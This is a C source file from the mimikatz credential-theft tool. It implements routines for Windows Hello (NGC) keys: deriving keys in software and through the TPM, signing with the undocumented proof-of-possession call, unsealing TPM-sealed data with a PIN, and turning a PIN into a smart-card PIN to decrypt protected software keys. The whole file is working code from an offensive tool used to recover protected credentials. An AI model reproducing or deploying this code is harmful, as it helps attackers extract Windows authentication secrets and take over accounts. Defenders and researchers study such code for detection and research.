mimikatz/modules/kull_m_crypto_ngc.c

295 lines
11 KiB
C

/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_crypto_ngc.h"
BOOL kull_m_crypto_ngc_keyvalue_derived_software(PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey)
{
BOOL status = FALSE;
NTSTATUS bStatus;
BCRYPT_ALG_HANDLE hAlgSP800108;
BCRYPT_KEY_HANDLE hKeySP800108;
DWORD ObjectLengthSP800108, cbResult;
PUCHAR pbKeyObjectSP800108;
BCryptBuffer buffer[] = {
{cbLabel, KDF_LABEL, pbLabel},
{cbContext, KDF_CONTEXT, pbContext},
{sizeof(BCRYPT_SHA256_ALGORITHM), KDF_HASH_ALGORITHM, BCRYPT_SHA256_ALGORITHM},
};
BCryptBufferDesc bufferDesc = {BCRYPTBUFFER_VERSION, ARRAYSIZE(buffer), buffer};
__try
{
bStatus = BCryptOpenAlgorithmProvider(&hAlgSP800108, BCRYPT_SP800108_CTR_HMAC_ALGORITHM, NULL, 0);
if(BCRYPT_SUCCESS(bStatus))
{
bStatus = BCryptGetProperty(hAlgSP800108, BCRYPT_OBJECT_LENGTH, (PUCHAR) &ObjectLengthSP800108, sizeof(ObjectLengthSP800108), &cbResult, 0);
if(BCRYPT_SUCCESS(bStatus))
{
if(pbKeyObjectSP800108 = (PUCHAR) LocalAlloc(LPTR, ObjectLengthSP800108))
{
bStatus = BCryptGenerateSymmetricKey(hAlgSP800108, &hKeySP800108, pbKeyObjectSP800108, ObjectLengthSP800108, (PUCHAR) Key, cbKey, 0);
if(BCRYPT_SUCCESS(bStatus))
{
bStatus = BCryptKeyDerivation(hKeySP800108, &bufferDesc, DerivedKey, cbDerivedKey, &cbResult, 0);
if(BCRYPT_SUCCESS(bStatus))
{
status = (cbResult == cbDerivedKey);
if(!status)
PRINT_ERROR(L"Bad cbResult (%u vs %u)\n", cbResult, cbDerivedKey);
}
else PRINT_ERROR(L"BCryptKeyDerivation: 0x%08x\n", bStatus);
BCryptDestroyKey(hKeySP800108);
}
else PRINT_ERROR(L"BCryptGenerateSymmetricKey: 0x%08x\n", bStatus);
LocalFree(pbKeyObjectSP800108);
}
}
else PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", bStatus);
BCryptCloseAlgorithmProvider(hAlgSP800108, 0);
}
else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", bStatus);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"No CNG?\n");
}
return status;
}
BOOL kull_m_crypto_ngc_keyvalue_derived_hardware(PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, LPCWSTR TransportKeyName, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey)
{
BOOL status = FALSE;
SECURITY_STATUS nStatus;
NCRYPT_PROV_HANDLE hProvider;
NCRYPT_KEY_HANDLE hImportKey, hKey;
DWORD cbResult;
NCryptBuffer buffer[] = {
{cbLabel, KDF_LABEL, pbLabel},
{cbContext, KDF_CONTEXT, pbContext},
{sizeof(NCRYPT_SHA256_ALGORITHM), KDF_HASH_ALGORITHM, NCRYPT_SHA256_ALGORITHM},
};
NCryptBufferDesc bufferDesc = {NCRYPTBUFFER_VERSION, ARRAYSIZE(buffer), buffer};
PNCRYPTKEYDERIVATION NCryptKeyDerivation; // tofix
__try
{
nStatus = NCryptOpenStorageProvider(&hProvider, MS_PLATFORM_CRYPTO_PROVIDER, 0);
if(nStatus == ERROR_SUCCESS)
{
nStatus = NCryptOpenKey(hProvider, &hImportKey, TransportKeyName, 0, 0);
if(nStatus == ERROR_SUCCESS)
{
nStatus = NCryptImportKey(hProvider, hImportKey, NCRYPT_OPAQUETRANSPORT_BLOB, NULL, &hKey, (PBYTE) Key, cbKey, 0);
if(nStatus == ERROR_SUCCESS)
{
NCryptKeyDerivation = (PNCRYPTKEYDERIVATION) GetProcAddress(GetModuleHandle(L"ncrypt.dll"), "NCryptKeyDerivation"); // tofix
if(NCryptKeyDerivation)
{
nStatus = NCryptKeyDerivation(hKey, &bufferDesc, DerivedKey, cbDerivedKey, &cbResult, 0);
if(nStatus == ERROR_SUCCESS)
{
status = (cbResult == cbDerivedKey);
if(!status)
PRINT_ERROR(L"Bad cbResult (%u vs %u)\n", cbResult, cbDerivedKey);
}
else PRINT_ERROR(L"NCryptKeyDerivation: 0x%08x\n", nStatus);
}
else PRINT_ERROR(L"No NCryptKeyDerivation?\n", nStatus);
NCryptFreeObject(hKey);
}
else PRINT_ERROR(L"NCryptImportKey: 0x%08x\n", nStatus);
NCryptFreeObject(hImportKey);
}
else PRINT_ERROR(L"NCryptOpenKey: 0x%08x\n", nStatus);
NCryptFreeObject(hProvider);
}
else PRINT_ERROR(L"NCryptOpenStorageProvider: 0x%08x\n", nStatus);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"No CNG?\n");
}
return status;
}
BOOL kull_m_crypto_ngc_signature_derived(LPCBYTE pcbKey, DWORD cbKey, LPCBYTE pcbData, DWORD cbData, LPBYTE pbHash, DWORD cbHash)
{
BOOL status = FALSE;
NTSTATUS ntStatus;
BCRYPT_ALG_HANDLE hAlgorithm;
BCRYPT_HASH_HANDLE hHash;
DWORD ObjectLength, cbResult;
PUCHAR pbHashObject;
__try
{
ntStatus = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_SHA256_ALGORITHM, MS_PRIMITIVE_PROVIDER, BCRYPT_ALG_HANDLE_HMAC_FLAG);
if(BCRYPT_SUCCESS(ntStatus))
{
ntStatus = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PUCHAR) &ObjectLength, sizeof(ObjectLength), &cbResult, 0);
if(BCRYPT_SUCCESS(ntStatus))
{
if(pbHashObject = (PUCHAR) LocalAlloc(LPTR, ObjectLength))
{
ntStatus = BCryptCreateHash(hAlgorithm, &hHash, pbHashObject, ObjectLength, (PUCHAR) pcbKey, cbKey, 0);
if(BCRYPT_SUCCESS(ntStatus))
{
BCryptHashData(hHash, (PUCHAR) pcbData, cbData, 0);
ntStatus = BCryptFinishHash(hHash, pbHash, cbHash, 0);
status = BCRYPT_SUCCESS(ntStatus);
if(!status)
PRINT_ERROR(L"BCryptFinishHash: 0x%08x\n", ntStatus);
BCryptDestroyHash(hHash);
}
else PRINT_ERROR(L"BCryptCreateHash: 0x%08x\n", ntStatus);
LocalFree(pbHashObject);
}
}
else PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", ntStatus);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
}
else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", ntStatus);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"No CNG?\n");
}
return status;
}
BOOL kull_m_crypto_ngc_signature_pop(PBYTE pbKey, DWORD cbKey, PBYTE pbLabel, DWORD cbLabel, PBYTE pbContext, DWORD cbContext, PBYTE pbData, DWORD cbData, PBYTE *ppbOutput, PDWORD pcbOutput)
{
BOOL status = FALSE;
HMODULE hModule;
PNGCSIGNWITHSYMMETRICPOPKEY NgcSignWithSymmetricPopKey;
NTSTATUS ntStatus;
*ppbOutput = NULL;
*pcbOutput = 0;
hModule = LoadLibrary(L"cryptngc.dll");
if(hModule)
{
NgcSignWithSymmetricPopKey = (PNGCSIGNWITHSYMMETRICPOPKEY) GetProcAddress(hModule, "NgcSignWithSymmetricPopKey");
if(NgcSignWithSymmetricPopKey)
{
ntStatus = NgcSignWithSymmetricPopKey(pbKey, cbKey, pbLabel, cbLabel, pbContext, cbContext, pbData, cbData, ppbOutput, pcbOutput);
status = ntStatus == STATUS_SUCCESS;
if(!status)
PRINT_ERROR(L"NgcSignWithSymmetricPopKey: 0x%08x\n", ntStatus);
}
else PRINT_ERROR(L"No NgcSignWithSymmetricPopKey?\n");
FreeLibrary(hModule);
}
else PRINT_ERROR_AUTO(L"LoadLibrary");
return status;
}
PBYTE kull_m_crypto_ngc_pin_BinaryPinToPinProperty(LPCBYTE pbBinary, DWORD cbBinary, DWORD *pcbResult)
{
PWSTR data = NULL;
DWORD i, cbBuffer = cbBinary * 2 + 1;
if(data = (PWSTR) LocalAlloc(LPTR, cbBuffer * sizeof(wchar_t)))
{
for(i = 0; i < cbBinary; i++)
swprintf_s(data + i * 2, cbBuffer - i * 2, L"%02.2X", pbBinary[i]);
if(pcbResult)
*pcbResult = cbBuffer * sizeof(wchar_t);
}
return (PBYTE) data;
}
SECURITY_STATUS kull_m_crypto_ngc_hardware_unseal(NCRYPT_PROV_HANDLE hProv, LPCBYTE pbPin, DWORD cbPin, LPCBYTE pbInput, DWORD cbInput, PBYTE *ppOutput, DWORD *pcbOutput)
{
SECURITY_STATUS status;
NCRYPT_KEY_HANDLE hSealKey;
UNK_PIN uPin = {cbPin, 0x46, (PWSTR) pbPin};
UNK_PADDING uPadding = {0, 1, &uPin};
DWORD cbResult;
status = NCryptOpenKey(hProv, &hSealKey, TPM_RSA_SRK_SEAL_KEY, 0, NCRYPT_SILENT_FLAG);
if(status == ERROR_SUCCESS)
{
status = NCryptDecrypt(hSealKey, (PBYTE) pbInput, cbInput, &uPadding, NULL, 0, &cbResult, NCRYPT_SEALING_FLAG);
if(status == ERROR_SUCCESS)
{
if(*ppOutput = (PBYTE) LocalAlloc(LPTR, cbResult))
{
status = NCryptDecrypt(hSealKey, (PBYTE) pbInput, cbInput, &uPadding, *ppOutput, cbResult, pcbOutput, NCRYPT_SEALING_FLAG);
if(status != ERROR_SUCCESS)
{
PRINT_ERROR(L"NCryptDecrypt(data): 0x%08x\n", status);
*ppOutput = (PBYTE) LocalFree(*ppOutput);
*pcbOutput = 0;
}
}
else status = NTE_NO_MEMORY;
}
else PRINT_ERROR(L"NCryptDecrypt(init): 0x%08x\n", status);
NCryptFreeObject(hSealKey);
}
else PRINT_ERROR(L"NCryptOpenKey(seal): 0x%08x\n", status);
return status;
}
SECURITY_STATUS kull_m_crypto_ngc_software_decrypt(NCRYPT_PROV_HANDLE hProv, LPCWSTR szKeyName, LPCBYTE pbPin, DWORD cbPin, LPCBYTE pbInput, DWORD cbInput, PBYTE *ppOutput, DWORD *pcbOutput)
{
SECURITY_STATUS status;
NCRYPT_KEY_HANDLE hKey;
DWORD cbResult, dwSalt, dwIterations, dwSmartCardPin;
BYTE DerivedKey[32] = {0}, *SmartCardPin;
status = NCryptOpenKey(hProv, &hKey, szKeyName, 0, 0x4000); // ?
if(status == ERROR_SUCCESS)
{
status = NCryptGetProperty(hKey, L"NgcSoftwareKeyPbkdf2Salt", (PBYTE) &dwSalt, sizeof(dwSalt), &cbResult, 0x40000000 | NCRYPT_SILENT_FLAG); // ?
if(status == ERROR_SUCCESS)
{
status = NCryptGetProperty(hKey, L"NgcSoftwareKeyPbkdf2Round", (PBYTE) &dwIterations, sizeof(dwIterations), &cbResult, 0x40000000 | NCRYPT_SILENT_FLAG); // ?
if(status == ERROR_SUCCESS)
{
status = BCryptDeriveKeyPBKDF2(BCRYPT_HMAC_SHA256_ALG_HANDLE, (PUCHAR) pbPin, cbPin - sizeof(wchar_t), (PUCHAR) &dwSalt, sizeof(dwSalt), dwIterations, DerivedKey, sizeof(DerivedKey), 0);
if(status == ERROR_SUCCESS)
{
if(SmartCardPin = kull_m_crypto_ngc_pin_BinaryPinToPinProperty(DerivedKey, sizeof(DerivedKey), &dwSmartCardPin))
{
status = NCryptSetProperty(hKey, NCRYPT_PIN_PROPERTY, SmartCardPin, dwSmartCardPin - sizeof(wchar_t), NCRYPT_SILENT_FLAG);
if(status == ERROR_SUCCESS)
{
status = NCryptDecrypt(hKey, (PBYTE) pbInput, cbInput, NULL, NULL, 0, &cbResult, NCRYPT_PAD_PKCS1_FLAG | NCRYPT_SILENT_FLAG);
if(status == ERROR_SUCCESS)
{
if(*ppOutput = (PBYTE) LocalAlloc(LPTR, cbResult))
{
status = NCryptDecrypt(hKey, (PBYTE) pbInput, cbInput, NULL, *ppOutput, cbResult, pcbOutput, NCRYPT_PAD_PKCS1_FLAG | NCRYPT_SILENT_FLAG);
if(status != ERROR_SUCCESS)
{
PRINT_ERROR(L"NCryptDecrypt(data): 0x%08x\n", status);
*ppOutput = (PBYTE) LocalFree(*ppOutput);
*pcbOutput = 0;
}
}
else status = NTE_NO_MEMORY;
}
else PRINT_ERROR(L"NCryptDecrypt(init): 0x%08x\n", status);
}
else PRINT_ERROR(L"NCryptSetProperty(NCRYPT_PIN_PROPERTY): 0x%08x\n", status);
LocalFree(SmartCardPin);
}
else status = NTE_NO_MEMORY;
}
else PRINT_ERROR(L"BCryptDeriveKeyPBKDF2: 0x%08x\n", status);
}
else PRINT_ERROR(L"NCryptGetProperty(NgcSoftwareKeyPbkdf2Round): 0x%08x\n", status);
}
else PRINT_ERROR(L"NCryptGetProperty(NgcSoftwareKeyPbkdf2Salt): 0x%08x\n", status);
NCryptFreeObject(hKey);
}
else PRINT_ERROR(L"NCryptOpenKey(0x4000): 0x%08x\n", status);
return status;
}